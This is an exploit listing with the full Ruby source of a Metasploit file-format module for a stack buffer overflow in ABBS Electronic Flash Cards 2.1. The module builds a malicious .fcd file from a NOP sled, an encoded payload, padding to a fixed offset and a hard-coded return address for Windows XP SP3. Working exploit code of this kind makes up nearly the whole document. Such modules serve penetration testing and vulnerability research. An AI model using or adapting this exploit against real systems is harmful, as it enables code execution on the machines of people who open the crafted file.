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ABBS Electronic Flash Cards 2.1 (FCD File) Stack Buffer Overflow

ABBS Electronic Flash Cards 2.1 (FCD File) Stack Buffer Overflow
Posted Aug 4, 2011
Authored by James Fitts, h1ch4m | Site metasploit.com

This Metasploit module exploits a buffer overflow vulnerability found in ABBS Electronic Flash Cards 2.1. The overflow occurs when an overly long string is passed in the fcd file. To execute this fcd file the victim has to start to start a new "random" test.

tags | exploit, overflow
SHA-256 | c4c8fb668311f736f3f219c385663db82dcd5d5a1b34b3619a99750fd3157744

ABBS Electronic Flash Cards 2.1 (FCD File) Stack Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'ABBS Electronic Flash Cards 2.1 (FCD File) Stack Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability
found in ABBS Electronic Flash Cards 2.1.
The overflow occurs when an overly long string is passed
in the fcd file. To execute this fcd file the victim
has to start to start a new "random" test.
},
'License' => MSF_LICENSE,
'Author' => [
'h1ch4m', # Initial Discovery
'James Fitts' # Metasploit Module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/16977' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3 EN',
{
'Ret' => 0x0043cb0f, # call dword ptr ds:[eax] in flashcards.exe
'Offset' => 4108
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Mar 14 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.fcd']),
], self.class)
end

def exploit

fcd = make_nops(50)
fcd << payload.encoded
fcd << make_nops(target['Offset'] - (50 + payload.encoded.length))
fcd << [target.ret].pack('V')

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(fcd)

end

end

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